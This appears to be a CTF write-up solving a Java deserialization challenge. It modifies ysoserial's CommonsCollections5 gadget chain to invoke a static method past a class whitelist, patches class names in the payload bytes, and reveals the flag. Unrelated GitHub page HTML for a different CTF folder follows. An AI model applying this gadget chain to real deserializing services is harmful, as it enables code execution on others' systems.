I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTFs/CSAW18/PWN_400 at master ยท twisted-fun/CTFs ยท GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="88F5:87C6:1D472F06:1E285A18:641225FE" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c03e72a96646f4b1c2bc0dc62aa63ffdad6ae2e1bb2483af9c24a8923132de34" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4OEY1Ojg3QzY6MUQ0NzJGMDY6MUUyODVBMTg6NjQxMjI1RkUiLCJ2aXNpdG9yX2lkIjoiNDYxMzEwNTA3MzAwNTkyOTk4MiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ad856e4306cd05fb4110ef2805787897bb9cf2fee3c9fb367e4203b2afb4e8d5" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:149132615" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to twisted-fun/CTFs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3a2d4cdfa78e23ab88f50ff8267536ae828895b81e99cd6c2cece455c01e4bbe/twisted-fun/CTFs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTFs/CSAW18/PWN_400 at master ยท twisted-fun/CTFs" /><meta name="twitter:description" content="Contribute to twisted-fun/CTFs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3a2d4cdfa78e23ab88f50ff8267536ae828895b81e99cd6c2cece455c01e4bbe/twisted-fun/CTFs" /><meta property="og:image:alt" content="Contribute to twisted-fun/CTFs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTFs/CSAW18/PWN_400 at master ยท twisted-fun/CTFs" /><meta property="og:url" content="https://github.com/twisted-fun/CTFs" /><meta property="og:description" content="Contribute to twisted-fun/CTFs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/twisted-fun/CTFs git https://github.com/twisted-fun/CTFs.git">
<meta name="octolytics-dimension-user_id" content="22060943" /><meta name="octolytics-dimension-user_login" content="twisted-fun" /><meta name="octolytics-dimension-repository_id" content="149132615" /><meta name="octolytics-dimension-repository_nwo" content="twisted-fun/CTFs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="149132615" /><meta name="octolytics-dimension-repository_network_root_nwo" content="twisted-fun/CTFs" />
<link rel="canonical" href="https://github.com/twisted-fun/CTFs/tree/master/CSAW18/PWN_400" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Signย up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
